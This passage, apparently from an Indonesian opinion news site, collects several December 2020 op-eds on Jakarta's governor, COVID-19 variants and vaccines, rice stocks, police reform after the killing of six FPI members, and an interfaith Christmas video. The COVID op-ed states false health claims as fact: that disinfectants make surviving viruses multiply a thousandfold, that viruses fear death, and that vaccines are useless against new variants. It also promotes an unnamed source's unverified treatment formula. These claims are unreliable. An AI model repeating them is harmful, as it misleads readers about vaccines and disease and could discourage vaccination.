semuanya bekerja secara kolektif dan kolaboratif sesuai visi dan misi pemimpin. Ketiga, sikap bijaknya dalam menghadapi setiap dilema dan problematika. Di tangan seorang pemimpin, berbagai masalah bisa diselesaikan. Bukan malah menambah masalah baru. Intinya, pemimpin harus tangguh. Tidak menganggap setiap masalah sebagai keruwetan. Tetapi sebagai tantangan yang harus diselesaikan untuk memberi pengalaman dan kematangan. Tiga syarat itu, Anies memilikinya. Maka, di tangan Anies, Jakarta berjalan ke arah yang terukur sesuai dengan design visi yang direncanakan ketika berpasangan dengan Sandi Uno maju sebagai Calon Gubernur DKI Jakarta 2017 dulu, yaitu "Maju Kotanya Bahagia Warganya". Jika hampir sebulan ini Anies memimpin by zoom dan mengandalkan jasa layanan Internet, maka setelah sehat, sudah saatnya Anies kembali turun langsung ke lapangan. Selamat datang kembali "Gubernur Indonesia" untuk memimpin Ibu Kota. Begitu rakyat menyapa dan memberi semangat kepada Anies Rasyid Baswedan, cucu pahlawan Indonesia Abdurrahman Baswedan. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Adu Cepat: Vaksin vs Mutasi Covid-19, Pemerintah Harus Tanggap!

By Mochamad Toha Surabaya FNN - Senin (28/12). Seperti yang saya tulis sebelumnya, varian Covid-19 yang mutasinya yang begitu cepat akan membuat Vaksin Covid-19 yang kini dikembangkan di berbagai negara bakal masuk kategori “vaksin jadul”, karena tak akan bisa mengimbangi Covid-19 yang terus bermutasi. “Sudah pernah saya uraikan tentang Covid-19, adanya gelombang 1, gelombang 2, gelombang 3, dan akan ada gelombang ke 4,” ungkap seorang sumber yang selalu mempelajari karakter Covid-19 sejak pertama kali muncul di Kota Wuhan, Provinsi Hubai, China, akhir 2019. Covid-19 semula menyerang saluran pernafasan, kemudian saluran pencernaan, syaraf, mata, yang diikuti dengan berbagai gejala-gejala yang menyertainya. Orang-orang yang di tubuhnya ada proses infeksi, tentu wajar kalau diikuti dengan keluhan linu-linu di berbagai persendian, lemah, loyo, pengantukan, dan sebagainya. Itu gejala-gejala wajar yang menyertainya. Salah satu ciri khas dari virus Covid-19 itu akan mudah menempel, dan meriplikasi selnya, setelah menempel pada selaput mukosa-mukosa. Pada selaput mukosa-mukosa itulah protein sarana mereka regeneratif itu menjadi mudah berkembang . Mukosa itu lapisan lembut berlendir, seperti bibir mulut, tenggorokan, hidung, dan mata. Dari mukosa-mukosa itulah, mereka akan menyebar ke saluran pernafasan atau pencernaan, dan seterusnya. “Dan amat sering kami temukan kasus-kasus yang ditandai dengan gejala-gejala sakit perut, diare, setelah sekian hari, di paru-parunya sudah terjadi pneumonia advanced/serius, merata,” ungkap sumber yang enggan disebutkan namanya itu. Menurutnya, ada yang positif thypus lewat tes widal, tapi imunoserologinya negatif. Bahkan, ada yang fungsi livernya terganggu, yang ditandai dengan SGPT, SGOT tinggi, “tapi HbsAg-nya negatif. Setelah di-swab, positif.” “Makanya kami amat sering menyampaikan ke siapapun yang sakit panas, disertai dengan gejala-gejala di saluran pernafasan, saluran pencernaan, atau lainnya, sebagai berikut: Lebih baik kita menduga positif covid,” tambahnya. “Sehingga segera bisa mengantisipasi secara maksimal. Daripada menduga minimal (non covid), tapi akhirnya kecolongan. Toh, jika menggunakan protokol covid dengan formula yang kami buat, tidak ada efek buruknya,” jelasnya. “Dengan konsep itulah, kami sudah membantu menyelamatkan ribuan orang pasien yang terpapar covid,” ujar sumber tadi. Mengapa mutasi Covid-19 yang menghasilkan berbagai varian itu begitu cepat? Inilah yang perlu dikaji. Perlu diketahui, sifat dasar antibodi, bakteri/virus/hewan, tanaman, dan manusia, jika disakiti, pasti akan melawan, karena untuk mempertahankan keberadaan dirinya. Dipastikan, mereka akan melawan semaksimal yang bisa mereka lakukan, atau menyerah. Pada saat disakiti dengan disinfektan atau apapun sejenisnya, mereka yang tidak mati (tentu sebagian mati, sebagian hidup) itu membiakkan diri beratus-ratus atau beribu-ribu kali lipat, dibanding kalau tidak disakiti. Padahal konsep yang ada saat ini, corona harus dibunuh dengan antivirus atau antiseptik/disinfektan. Naluri virus, yang tidak mati, akan menggandakan diri sebanyak-banyaknya agar eksistensi mereka tetap ada di muka bumi ini. Mereka sebenarnya tidak ingin menyakiti, tetapi setiap ketemu media baru, seperti tangan manusia, bagi mereka, itu media asing yang menakutkan, sehingga mereka meriplikasi diri berkali lipat. Pada saat mereka mampu bertahan hidup, tentu saja mereka sudah menjadi lebih kuat, sudah mengenali semua zat yang membunuhnya, atau sudah merubah asesoris tubuhnya, sehingga bisa dipahami kalau akhirnya sekarang diketahui sudah ada 500 jenis virus corona. Sehingga, menjadi wajar, kalau corona yang tersebar itu: jumlahnya jauh lebih banyak; telah mengalami mutasi genetik; dan lebih kuat. Masalahnya, “siapa yang mempercayainya konsep itu”? Andaikan penglihatan dan pendengaran kita ini dibukakan hijab-nya oleh Allah SWT, bisa berkomunikasi dengan virus itu, bisa memahami sifat mereka, tidak tega menyemprotkan cairan disinfektan kepada mereka. Mereka juga menderita. Mereka takut mati, seperti halnya manusia. Bagaimana gemuruhnya di kalangan mereka ketika itu datang. Serupa dengan hebohnya di kalangan manusia sendiri. Tapi sayangnya, siapa yang mempercayai ungkapan ini? Varian Corona Setelah munculnya laporan mutasi D614G pada Febuari, mutasi A222V dan N439K pada Maret, dan mutasi Y453F pada April, pada 14 Desember 2020, pihak berwenang Inggris Raya (UK) dan Irlandia Utara melaporkan kepada WHO. Yakni varian SARS-CoV-2 baru yang diidentifikasi melalui pengurutan genom virus yang disebut sebagai SARS-CoV-2 VUI 202012/01 (Variant Under Investigation, year 2020, month 12, variant 01) atau B.1.1.7. Publik dikejutkan dengan adanya peningkatan jumlah kasus Covid-19 yang signifikan di Inggris pada Desember 2020 ini. Terkait hal itu, pakar Epidemiolog Inggris bernama Tim Spector menyampaikan, setidaknya ada 6 gejala Covid-19 yang kemungkinan muncul disebabkan oleh varian baru virus tersebut. Menurut tim yang juga seorang ilmuwan di aplikasi ZOE Covid Symptom Study dan Profesor Epidemiologi Genetik di King's College London itu, varian baru virus corona tersebut telah menyebabkan lonjakan infeksi di Inggris secara keseluruhan. Sebelumnya Lembaga Kesehatan Nasional atau NHS di Inggris merilis tentang tiga gejala utama dari Covid-19 adalah batuk, demam, dan hilangnya indera penciuman. Hasil analisis genomik virus Corona menunjukkan adanya sekelompok mutasi varian baru pada lebih dari separuh kasus Covid-19 di Inggris tersebut. Varian ini dikenal dengan nama VUI 202012/01 yang terdiri dari sekumpulan mutasi antara lain 9 mutasi pada protein S. Varian baru juga ditemukan secara signifikan pada kasus Covid-19 di Afrika Selatan yaitu kombinasi 3 mutasi pada protein S. Hingga sampai hari ini varian VUI 202012/01 telah ditemukan pada 1.2 persen virus pada database GISAID, 99 persen varian tersebut dideteksi di Inggris. Selain di Inggris, varian ini telah ditemukan di Irlandia, Perancis, Belanda, Denmark, Australia. Sedangkan di Asia baru ditemukan pada tiga kasus yaitu Singapura, Hong Kong dan Israel. Mutan SARS-CoV-2 Spike N501Y telah menjadi berita akhir-akhir ini. Inilah yang mereka ketahui. Pertama, Awalnya muncul di area London Raya. Kedua, Ini dapat meningkatkan penularan virus sebanyak 70%. Ketiga, Mutasi terjadi di bagian spike protein (yang digunakan virus untuk menempel dan memasuki sel) yang paling penting untuk mengikat ACE2, protein seluler yang sebenarnya ditempelkan oleh tonjolan tersebut. Keempat, Mutasi tampaknya meningkatkan kemampuan protein lonjakan untuk mengikat ACE2. Kelima, Tidak ada bukti terpercaya bahwa mutasi ini akan mengganggu efikasi vaksin. Keenam, mereka tidak tahu sejauh mana varian baru SARS-CoV-2 ini menyebar. Menurut Ketua Pokja Genetik FK-KMK UGM dr. Gunadi, SpBA, PhD, ada 9 mutasi itu pada VUI 202012/01, ada satu mutasi yang dianggap paling berpengaruh, yaitu mutasi N501Y. Hal ini karena mutasi N501Y terletak pada Receptor Binding Domain (RBD) protein S. “RBD merupakan bagian protein S yang berikatan langsung dengan receptor untuk menginfeksi sel manusia,” kata Dokter Gunadi. Menurutnya, mutasi ini diduga meningkatkan transmisi antar manusia sampai dengan 70%. Namun, mutasi ini belum terbukti lebih berbahaya atau ganas. “Demikian juga, mutasi ini belum terbukti memengaruhi efektivitas vaksin Corona yang ada,” lanjutnya. Varian mutasi virus ini, kata Gunadi, bisa mempengaruhi hasil tes swab PCR apabila tes PCR menggunakan gen S. Sebab, varian baru ini terdiri dari multipel mutasi pada protein S, maka diagnosis Covid-19 sebaiknya tidak menggunakan gen S karena bisa memberikan hasil negatif palsu. Oleh karena itu, peran surveilans genomik (whole genome sequencing) virus corona menjadi sangat penting dalam rangka identifikasi mutasi baru, pelacakan (tracing) asal virus itu dan dilakukan isolasi terhadap pasien dengan mutasi ini. Sehingga penyebaran virus corona bisa dicegah lebih lanjut. Ia mengimbau masyarakat lebih waspada dengan adanya mutasi baru itu, namun tidak perlu disikapi dengan kekhawatiran berlebihan. “Masyarakat tetap harus menerapkan 3M, memakai masker, mencuci tangan dan menjaga jarak dengan menghindari kerumunan,” pungkasnya. “Mutasi ini diduga meningkatkan transmisi antar manusia sampai dengan 70 persen. Namun, mutasi ini belum terbukti lebih berbahaya/ ganas. Demikian juga, mutasi ini belum terbukti mempengaruhi efektivitas vaksin Corona yang ada,” ucapnya. Jika menyimak mutasi Covid-19 D614G di atas tadi, apakah belanja vaksin Sinovac masih efektif dan tetap mau dilakukan? Sebab, varian baru ini, bisa terjadi pada orang yang terkena tidak bergejala, tiba-tiba diketahui sudah pada stadium lanjut. Bisa diketahui, kondisi paru-parunya sudah dipenuhi cairan, dan akhirnya saturasi oksigen sudah rendah, dan sulit tertolong. Sebenarnya dengan varian ini, otomatis vaksin yang kini sedang uji klinis, tidak ada gunanya. Karena ada cairan yang banyak di paru-paru ini, maka kadar oksigen yang bisa diserap oleh paru-paru menjadi sangat sedikit/terbatas. Bisa dibayangkan, jika lendir itu tidak keluar, dan ada di dalam tenggorongkan. Sehingga, menyebabkan saluran nafas buntu. Masih tetap mau menggunakan vaksin Sinovac? Penulis wartawan senior FNN.co.id

Stok Pangan Nasional Terancam?

Dalam keadaan terpaksa, impor beras harus dilakukan pemerintah dalam usaha mengamankan cadangan nasional. Nah, saya mendapatkan informasi bahwa pemerintah sudah berniat melakukan impor. Penjajakan sudah dilakukan ke sejumlah negara pengekspor beras, seperti Thailand, Vietnam dan Laos. Akan tetapi, negara-negara produsen beras itu kabarnya menolak permintaan Indonesia. Alasannya, karena pemerintah negara-negara tersebut lebih mengutamakan kebutuhan pangan rakyatnya ketimbang mengekspor By Mangarahon Dongoran Jakarta, FNN - Senin (28/12). Perusahaan Umum Badan Urusan Logistik (Perum Bulog) meluncurkan komoditas pangan olahan beras singkong. Peluncurannya dilakukan di Kota Bandung, Jawa Barat, Selasa 15 Desember 2020. Nama keren pun disandangkan pada produk yang diyakini rendah kolestrol itu. Besita atau Beras Singkong Petani, nama resmi yang disandangkan pada produk makanan alternatif tersebut. Makanan alternatif, karena diharapkan mampu mendorong usaha pemerintah dalam mensukseskan program diversifikasi pangan. Besita menggunakan bahan baku singkong lokal dari petani. Ini sangat bagus dan sangat pro-petani. Sebab, tanaman singkong di Indonesia cukup luas. Hampir tiap jengkal tanah di negeri ini bisa ditanami singkong, mulai dari Sabang sampai Merauke. Kita harus mengacungkan jempol atas keberhasilan meluncurkan Besita itu. Terlebih lagi peluncurannya dilakukan oleh Direktur Utama Perum Bulog Budi Waseso, Gurbenur Jawa Barat Ridwan Kamil, Deputi Kepala Badan Pengkajian dan Penerapan Teknologi (BPPT) Bidang Teknologi Agroindustri dan Bioteknologi Soni Sulistia Wirawan, Ketua Masyarakat Singkong Indonesia (MSI) Arifin Lambaga dan sejumlah pemangku kepentingan terkait lainnya. Direktur Utama Bulog, Budi Waseso, mengatakan, potensi Indonesia yang kaya akan produksi singkong harus dimanfaatkan sebagai upaya pemerintah untuk mensukseskan program diversifikasi pangan. Sebab, selama ini Indonesia masih sangat ketergantungan terhadap beras dan dapat memicu permasalahan ketahanan pangan nasional. “Produksi olahan singkong Indonesia adalah salah satu yang terbesar di dunia dan sangat melimpah di tanah nusantara, sehingga membutuhkan suatu gagasan untuk menciptakan alternatif pangan selain beras. Maka kami melalui kerja sama dengan berbagai pihak telah memulai pengembangan singkong," kata Budi. Indonesia memiliki potensi singkong yang sangat besar, sekitar 85 persen dari luas singkong dunia tersebar di Sumatera, Maluku, Sulawesi, Papua termasuk Jawa dan dengan tingkat produktivitas yang sangat tinggi. Berdasarkan data Kementerian Pertanian RI, luas panen ubi kayu atau singkong di Indonesia tahun 2019 sekitar 0,63 juta hektar dengan produksi 16,35 juta ton. Angka ini sebenarnya terus turun sejak tahun 2015, baik dari segi luas maupun produksi. Produksi rata-rata baru 20 ton per hektar. Padahal, masih bisa ditingkatkan menjadi 26 ton per hektar, dan bahkan bisa rata-rata 40 ton per hektar. Besita, nama yang keren dan oke. Menjadi bahan pangan alfernatif, bagus. Rendah karbohidrat, jelas bagus untuk kesehatan. Menggunakan bahan baku singkong lokal, sangat tepat karena sangat pro petani. Memasuki Bulan Paceklik Yang menjadi pertanyaan, mengapa peluncuran Besita dilakukan menjelang penghujung tahun 2020)? Apakah ini benar-benar merupakan antisipasi Bulog dalam menghadapi pengadaan pangan yang semakin sulit pada bulan-bulan mendatang, terutama Januari, Februari dan Maret 2021? Biasanya, pada bulan-bulan tersebut (Januari, Februari dan Maret) adalah masa-masa paceklik. Paceklik karena belum masuk musim panen raya. Paceklik, karena para petani biasanya lebih senang menyimpan padinya, terutama dimaksudkan ssbagai cadangan atau lumbung pangan petani. Paceklik, belum tentu tidak ada gabah atau beras. Paceklik, karena Bulog biasanya juga kewalahan dalam menghadapi para pedagang beras yang sama-sama terjun ke "tengah sawah" untuk berburu gabah/padi. Dalam hal ini terjadi persaingan antara petugas Bulog di lapangan dengan para pedagang beras, termasuk bersaing dengan tengkulak. Pengadaan pangan oleh Bulog bisa jeblok di bulan-bulan tersebut. Sebab, kalaupun petani ingin menjual gabah/beras, tentu lebih senang kepada pedagang atau pengumpul karena harga yang diberikan lebih menggiurkan ketimbang ke Bulog. Saya kurang tahu posisi stok pangan nasional yang kini dikuasai Bulog. Namun, angka terakhir saya baca realisasi pengadaan pangan hingga 23 Desember 2020 sebanyak 1.252.524 ton. Mungkin angka ini sudah bertambah hingga tulisan ini dibuat. Itu kan realisasi pengadaan. Jika ditambah dengan stok yanh ada, mungkin jumlahnya bisa 1,5 juta ton atau bahkan 2 juta ton lebih. Namun, sekali lagi, realisasi pengadaan pangan pada Januari sampai Maret biasanya melambat. Yang terjadi justru pengurangan stok yang ada. Stok pangan nasional harus benar-benar aman. Apalagi, bulan April 2021 sudah memasuki bulan puasa. Biasanya, di bulan ini stok banyak terkuras dari gudang Bulog untuk operasi pasar. Saya juga kurang paham apakah strategi Besita itu sebagai langkah jitu dalam menghadapi kemungkinan terjadinya paceklik stok pangan nasional. Sebab, tidak ada angka, sudah berapa pabrik Besita yang ada. Berapa kapasitas terpasang dan kapasitas peoduksinya per hari, per minggu atau per bulan. Jangan-jangan, peluncurannya hanya seremonial, agar pengusaha mendapatkan kucuran dana pinjaman lunak dari pemerintah. Mungkin, perkiraan saya terlalu jauh. Ada satu pertanyaan lagi yang membuat pikiran saya sedikit galau. Jika cadangan pangan nasional yang dikuasai Bulog benar-benar menipis - katakanlah tidak bisa mencukupi kebutuhan 6 bulan impor - lalu darimana Bulog harus menutupinya? Jika stok pangan nasional yang dikuasai Bulog menipis, biasanya kran impor beras dibuka. Meskipun saya kurang setuju dengan impor, karena selain menguras devisa, juga dapat mengabaikan kekuatan petani dalam negeri. Namun, dalam keadaan terpaksa, impor beras harus dilakukan pemerintah dalam mengamankan cadangan nasional. Nah, saya mendapatkan informasi bahwa pemerintah sudah berniat melakukan impor. Penjajakan sudah dilakukan ke sejumlah negara pengekspor beras, seperti Thailand, Vietnam dan Laos. Akan tetapi, negara-negara produsen beras itu kabarnya menolak permintaan Indonesia. Alasannya, karena pemerintah negara-negara tersebut lebih mengutamakan kebutuhan pangan rakyatnya ketimbang mengekspor. Apakah benar penolakan itu karena negara-negara produsen beras tidak mengekspor beras? Jangan-jangan, pemerintah Indonesia tidak memiliki uang untuk membelinya. Jangan-jangan, bukan mau membeli, tetapi tukar-menukar komoditas. Atau bisa jadi, pinjam beras, seperti yang pernah dilakukan Indonesia di masa Orde Baru. Sebab, membeli beras dalam jumlah banyak tentu membutuhkan dana kontan dalam nilai besar. Apakah ada uangnya untuk membeli beras impor? Sebab, di tengah pandemi Corona Virus Disaesa 2019 (Covid-19), keuangan Indonesia tekor alias defisit Rp 1.000 triliun lebih. Berdasarkan perkiraan Kementerian Keuangan, defisit Anggaran Penerimaan dan Belanja Negara (APBN) tahun 2020 semakin melebar akibat penerimaan pajak yang sulit mencapai target. Di sisi lain, beban utang dan bunga utang pemerintah terus meningkat untuk membiayai APBN. Berdasarkan Peraturan Presiden Nomor72 tahun 2020, defisit APBN ditargetkan Rp 1.039,2 triliin atau 6, 34 persen dari Produk Domestik Bruto (PDB). Angka ini cukup mengkhawatirkan, di tengah resesi ekonomi yang melanda dunia. Mengkhawatirkan, karena Indonesia yang juga mengalami resesi ekonomi masih sangat membutuhkan pinjaman, termasuk pinjaman membiayai kebutuhan pangan. Sementara, lembaga donor dan negara donor dalam posisi kesulitan keuangan akibat banyaknya negara yang juga sama-sama membutuhkan pinjaman luar negeri. ** Penulis, Pemimpin Redaksi FNN.co.id.

Urgensi Reformasi Polri

by Budiana Irmawan Jakarta FNN – Senin (28/12). Dugaan perbuatan Extrajudicial Killing terhadap 6 anggota Laskar Front Pembela Islam (FPI) harus dimaknai bahwa ada problem serius di institusi kepolisian. Fungsi Polri sebagai aparatur penegak hukum masih rentan diintervensi kepentingan politik. Bahkan laporan KontraS sepanjang tahun 2020 terjadi 29 kasus pembunuhan oleh polisi di luar proses hukum. Tragis sekali. Penyelenggaraan tindakan kepolisian sebenarnya telah diatur dengan sangat jelas dalam Peraturan Kapolri (Perkap) Nomor 1 Tahun 2009 dan Perkap Nomor 8 Tahun 2009. Namun kedua Perkap tersebut tampaknya tidak diindahkan dalam pelaksanaan di lapangan. Berangkat dari fakta-fakta ini, menunjukan urgensi reformasi di tubuh Polri. Paradigma Kepolisian sesuai UU Nomor 2 Tahun 2002 memposisikan sistem sentralistik (Centralized System of Policing) perlu diubah kembali. Tujuannya agar ke depan polisi lebih relevan dan mengikuti asas keterbukaan dan profesionalitas. Tidak seperti sekarang. Sangat jauh dari profil polisi Indonesia yang Porfesional, Modern dan Terpercaya (Promoter). Jika kita menengok kembali tuntutan reformasi TNI dan Polri, pemisahan Polri dari TNI, sebetulnya baru langkah awal reformasi di Kepolisian. Polri berdiri sendiri lepas dari TNI baru langkah awal menandai Kepolisian adalah aparatur sipil yang dipersenjatai. Dipersenjatai untuk dapat menegakan hukum dengan benar dan Promoter. Bukan main tembak. Kendati memiliki kewenangan memegang senjata, tetapi senjata hanya digunakan untuk bertindak preventif dan preemtif. Bukan intensif untuk membunuh pihak musuh atau anak bangsa yang sedang diproses hukum oleh polisi. Sebab polisi jadi kehilangan fungsi pengamanan dan perlindungan masyarakat yang menjadi pondasi utama tugas-tugas polisi. Sejarah kelam dwi-fungsi ABRI di masa Orde Baru merupakan pelajaran berharga yang harus diingat-ingat oleh polisi. Kini TNI relatif sudah menjaga jarak terhadap kepentingan politik praktis sejalan perintah UU No. 34 Tahun 2004. Konsistensi TNI hendaknya diikuti oleh Polri. Karena itu, reformasi Polri fase berikutnya adalah menata kelembagaan kepolisian. Struktur kelembagaan Kepolisian yang sekarang ini sangat sentralistik. Padahal polisi bukan institusi kombatan. Berbeda dengan TNI yang memang bertugas menurut garis komando. Sementara polisi sebagai upaya menegakkan hukum, maka dasarnya adalah fakta hukum locus delicti. Mengkaji lebih jauh soal kelembagaan kepolisian, kita bisa membandingkan model Amerika Serikat yang terpisah (Fragmented System of Policing). Terpisah antara polisi federal dengan polisi negara bagian. Begitu juga dengan model Jepang yang membuka desentralisasi kepada prefektur yang merupakan sistem campuran (Integrated System of Policing). Memang model Amerika Serikat sulit untuk diterapkan, mengingat bentuk negara federal tidak kompatibel dengan negara kesatuan. Namun standar profesionalitas polisi di Amerika Serikat pantas untuk ditiru. Sebab di setiap kota besar mempunyai Kepolisian yang bergengsi. Misalnya New York Police Departement atau Los Angeles Police Departement. Begitu pula dengan polisi yang menangani kejahatan khusus seperti DEA, Badan Anti Narkotika di bawah Departemen Kehakiman. Selain itu, ada lagi FBI yang bertanggung jawab kepada Kejaksaan. Saya kira kelembagaan Kepolisian model Jepang sangat memungkinkan diadaptasi Indonesia. Di Jepang polisi prefektur lebih berdaya guna melaksanakan tugas kepolisian di masing-masing wilayah prefektur atau setingkat provinsi. Polisi Pusat (National Police Organization) terdiri dari NPSC (National Public Safety Commision) dan NPA (National Police Agency). NPSC suatu badan pemerintahan yang bertanggung jawab mengawasi NPA. Sementara tugas NPA adalah mengkoordinasikan polisi prefektur. Dengan demikian, tepat dibentuk kementrian keamanan yang bertanggung jawab mengendalikan kepolisian nasional. Juga memberi kewenangan luas kepada kepolisian daerah. Peran inspektorat/Irwasum Polri diperkuat menjadi badan supervisi penyelenggaraan kepolisian sejenis NPSC di Jepang. Poin penting adalah terjadi efektivitas tugas Polri. Kelakar beban bertumpuk dari urusan tilang motor bodong hingga menangkap teroris, bukan saja mengikis profesionalisme. Namun juga membawa moral hazard bagi anggota Polri. Tidak sampai di situ. Sistem kepolisian terpusat mengakibatkan Polri mudah tergelincir bias menjadi kepentingan politik rejim yang sedang berkuasa. Sama halnya dengan dugaan Extrajudicial Killing terhadap 6 anggota Laskar FPI. Penulis adalah Peneliti Lingkar Studi Transformasi Kebijakan Publik.

Kalau Pembunuhan KM-50 Tak Diungkap, “Dark Forces” Akan Menjadi-jadi

by Asyari Usman Medan FNN - Senin (28/12). Kartel-kartel narkoba sangat berkuasa di Meksiko. Mereka “boleh” membunuh siapa saja yang mereka inginkan. Tanpa bisa diungkap oleh penegak hukum. Mereka, kartel-kartel itu, bagaikan memiliki negara masing-masing di dalam wilayah Meksiko. Dalam bentuk yang berbeda, Indonesia berkemungkinan akan menjadi ajang kesewenangan model kartel Meksiko itu. Bakal berlangsung pembunuhan di mana-mana. Sewenang-wenang. Tanpa bisa dibawa ke ranah hukum. Na’uzubillah, ‘God forbids’. Kapan itu bisa terjadi? Jawabannya: kalau pembunuhan KM-50 tidak diungkap secara tuntas dan transparan, baik oleh instansi-instansi pemerintah maupun oleh tim pencari fakta independen (TPFI). Pembunuhan 6 anggota FPI pada 7 Desember 2020 diakui oleh Polda Metro Jaya sebagai tindakan aparat kepolisian. Bisakah dipercaya? Wallahu a’lam. Terlalu sarat memori manusia Indonesia ini dengan rekayasa kasus dan rekayasa peradilan. Kepolisian tampak gagap ketika menjelaskan kronologi pembunuhan KM-50. Polisi tak siap dan tak sigap menjelaskan kronologi “yang baik dan benar” –meminjam slogan pengajaran bahasa Indonesia. Sehingga, dari jam ke jam, dari hari ke hari, penjelasan itu tidak konsisten. Intinya, tragedi pembunuhan KM-50 penuh dengan penjelasan yang meragukan akal sehat. Pada titik inilah pikiran menerawang ke situasi di Meksiko. Di negara yang terkenal dengan kartel-kartel narkoba yang sangat kuat itu, pembunuhan terhadap siapa pun bisa terjadi kapan pun dan di mana pun. Kartel-kartel itu mempunyai “dark forces” atau “pasukan hitam” alias “pasukan siluman”. Yang beroperasi sesuka hati mereka tanpa bisa disentuh hukum. Sangat menakutkan. Publik di negara ini wajar merasa gelisah. Gelisah terhadap kemungkinan pembunuhan sewenang-wenang ala kartel Meksiko akan teradopsi dan terbawa ke sini. Gelisah, jangan-jangan akan terjadi lagi pembunuhan yang tidak bisa atau ‘tidak boleh’ diungkap secara transparan. Karena itu, pembunuhan KM-50 harus diusut terang-benderang. Cara yang terbaik adalah dengan membentuk TPFI. Tim ini akan melibatkan banyak pihak sehingga kecil kemungkinan bisa diarahkan untuk merugikan pihak tertentu. Tetapi, sayangnya, Presiden Jokowi tidak setuju. Dia mempercayakan penyelidikan pembunuhan KM-50 kepada Kepolisian dan Kejaksaan. Menurut Jokowi, masyarakat bisa mengadu ke Komnas HAM jika ada masalah. Sedangkan publik mendesak agar penyelidikan dilakukan oleh TPFI. Masyarakat tak percaya kalau pengusutan dilakukan oleh pihak yang tidak independen. Sangat mengherankan mengapa Pak Jokowi tak setuju penyelidikan yang dipercaya oleh masyarakat? Tak mungkin rasanya Presiden menghadapi tekanan. Dan tak mungkin pula Presiden harus melindungi pihak tertentu. Kembali ke “dark forces”, sangat lumrah “pasukan siluman” itu dimiliki oleh para penguasa yang memegang posisi kuat. Bisa juga “pasukan hitam” itu peliharaan oligarkhi yang punya kekuatan finansial besar. Itu tidak boleh terjadi di Indonesia. Namun, belakangan ini gelagat ke arah ini semakin jelas. Misalnya, sudah sering beredar rekaman video yang menunjukkan orang-orang tertentu bisa mendapakan pengawalan dari berbagai satuan keamanan. Yang melibatkan anggota kepolisian dan militer. Ada kejadian orang sipil jogging di Bali dengan pengawalan patrol-patwal polisi. Tak lama kemudian, orang yang sama sedang wisata alam dengan pengawalan oknum tentara. Ada pula pasangan selebriti yang berpacaran dengan pengawalan sejumlah prajurit. Sebelum itu, beredar pula video yang menunjukkan seorang warga sipil menggunakan mobil yang berplat militer. Ini bisa dilihat sebagai “symptom” (gejala) menuju “pasukan siluman”. Jika dibiarkan, maka dalam waktu tak terlalu lama kita mungkin akan dilanda tindak kekerasan, pembunuhan sewenang-wenang, dlsb. Yang akan dilakukan oleh satuan-satuan bersenjata di bawah kendali berbagai pihak seperti ‘splinter group’ di berbagai instansi penegak hukum. Bisa jadi nanti ada “pasukan siluman” bentukan lembaga intelijen. Atau yang dipelihara oleh para oligarkhi bisnis, bandar narkoba, mafioso impor, mafioso proyek, hingga para eksekutor bayaran (mercenary). Jadi, para wakil rakyat yang masih lurus dan kekuatan sipil harus mencegah kemungkinan “dark forces” menjadikan pembunuhan 6 anggota FPI sebagai ujicoba reaksi publik. Mereka akan mengamati apakah tekanan publik akan berhasil, atau tidak, untuk membongkar pembunuhan itu secara transparan. Kalau pembunuhan KM-50 tidak bisa diusut karena intimidasi, maka operasi “dark forces” bisa semakin menjadi-jadi di masa depan. (Penulis wartawan senior fnn.co.id)

Pemurtadan Dan Penistaan Agama

by M Rizal Fadillah Bandung FNN – Ahad (27/12). Viral video dua orang, laki-laki dan wanita, di sebelah pohon natal sebuah gereja dalam acara "Natal Bersama Kultum 2020" membacakan ayat Qur'an dan terjemahannya. Akan tetapi ternyata ayat-ayat yang dibaca dan diterjemahkan tersebut bercampur dengan Bible dan merusak makna sebenarnya ayat Qur'an. Diragukan bahwa pembaca Qur'an berpeci adalah muslim. Awalnya yang dibaca adalah Qur’an Surat Maryam, ayat 19-21. Akan tetapi calaknya lagi, sambungannya seolah-olah ayat Qur'an. Padahal yang dibaca adalah ayat Bible Yohanes 14:6 yang diarabkan. Bunyi lengkapnya yang diarabkan adalah "Qaala lahu yasuu'u ana huwath thoriiqu wal haqqu wal hayaatu laisa ahadun ya'tii ilaal abi illa bii. Artinya, kata Yesus kepadanya, "Akulah jalan dan kebenaran dan hidup. Tidak ada seorangpun yang datang kepada Bapa kalau tidak melalui Aku". Luar bisa pengecohannya. Dengan langgam membaca Qur'an mereka mensinkretiskan Qur'an dengan Bible. Seolah-olah hai ini merupakan wujud dari toleransi keagamaan. Padahal disadari atau tidak, ini adalah penodaan agama yang dapat dilaporkan sebagai nyata-nyata pelanggaran hukum. Pasal 156 a KUHP dapat dikenakan pada pelaku maupun pembuat skenarionya. Kasus demikian bisa terjadi akibat kekacauan yang dilakukan oleh sebagian komunitas umat Islam sendiri. Toleransi yang salah kaprah, yaitu mencampuradukan ajaran. Mulai dari ceramah natal oleh mubaligh, kolaborasi bernyanyi muslim dan kristiani di gereja, qashidah dengan joget sinterklas, adzan di gereja. Ada juga bagi-bagi tumpeng santri di acara gerejani, hingga Menteri Agama yang demonstratif memberi wejangan dan ucapan Natal. Bahkan ada film yang dinilai mengada-ada. Kader ormas yang sedang menjaga gereja mencurigai ada bom saat acara misa umat kristiani di gereja. Lalu heboh, dan secara "heroik dan demonstatif" ia membawa bom itu keluar dan meledaklah di tangannya. Duuar...lebaay. Harus ada rekonstruksi makna toleransi yang sebenarnya. Karena saat ini telah menciptakan kekacauan dalam pemahaman keagamaan. Toleransi seharusnya bukan untuk saling mencampuri dalam soal pelaksanaan ibadah keagamaan masing-masing agama. Toleransi adalah memahami dan menghargai perbedaan atas keyakinan masing-masing agama. Lebih dari itu, saling menghormati keyakinan masing-masing. Tidak lebih dari itu. Menghormati dan menghargai keyakinan masing-masing agama adalah wujud dari sikpa teloransi yang paling tinggi dan bergensi dalam kehidupan sosial kemasyarakatan kita yang majemuk. Umat Islam selalu dipojokkan sebagai umat yang intoleran. Sehingga merasa perlu harus merendahkan diri pada umat lain dengan sikap yang bukan saja melanggar syariat, tetapi juga akidah. Pemerintah semestinya mengubah kebijakan keumatan. Kementerian Agama harus menjadi penanggungjawab untuk menstabilkan relasi keagamaan umat Islam. Hanya semakin skeptis dan pesimis saja melihatnya. Sebab ternyata Menteri Agama hasil reshuffle saat ini justru diduga menjadi bagian dari kekacauan faham dan relasi keagamaan ini. Semoga ada perubahan sikap, agar wajah umat mayoritas ini tidak semakin muram. Penulis adalah Pemerhati Politik dan Keagamaan.

Komnas HAM di Tengah Badai Hukum

